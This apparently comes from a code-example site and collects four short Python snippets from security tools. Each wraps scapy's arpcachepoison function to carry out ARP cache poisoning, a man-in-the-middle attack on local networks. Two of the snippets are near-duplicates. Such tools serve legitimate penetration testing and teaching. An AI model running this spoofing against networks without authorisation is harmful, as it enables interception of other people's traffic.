Beispiel #1
0
def arpoison(target1, target2, interval=5):

    try:
        ipaddress.ip_address(target1)
        ipaddress.ip_address(target2)
    except ValueError:
        print("Bad IP address")
        return 1

    arpcachepoison(target1, target2, interval)
Beispiel #2
0
def spoof(victim, claimed, interval = 5, mode = 'request'):
  '''
  Use scapy's builtin arpcachepoison to do spoofing attack,
  unless otherwise specified (ie. gratuitious replies).
  '''
  # TODO: allow multiple victims at once
  if mode == 'request':
    print 'arpcachepoison'
    arpcachepoison(victim, claimed, interval)
  else:
    gratuitous(victim, claimed, interval)
Beispiel #3
0
    def run(self):
        if self.target == "" or self.target.lower() == "localhost":
            self.gom.echo("[!] No target (or valid target) selected.")
            return False

        conf.verb = 2
        self.address = get_if_addr(get_working_if())
        self.gom.echo("[+] Using " + str(self.address))
        self.gom.echo("  --> Cache poisoning, interval " + str(self.interval))
        if user_data['isGui'] == False:
            self.gom.echo("Press Ctrl+C to cancel")
        arpcachepoison(self.address, self.target, self.interval)
        return True
Beispiel #4
0
    def run(self):
        if self.target == "" or self.target.lower() == "localhost":
            self.gom.echo( "[!] No target (or valid target) selected." )
            return False

        conf.verb = 2
        self.address = get_if_addr(get_working_if())
        self.gom.echo( "[+] Using " + str(self.address) )
        self.gom.echo( "  --> Cache poisoning, interval " + str(self.interval) )
        if user_data['isGui'] == False:
            self.gom.echo( "Press Ctrl+C to cancel" )
        arpcachepoison(self.address, self.target, self.interval)
        return True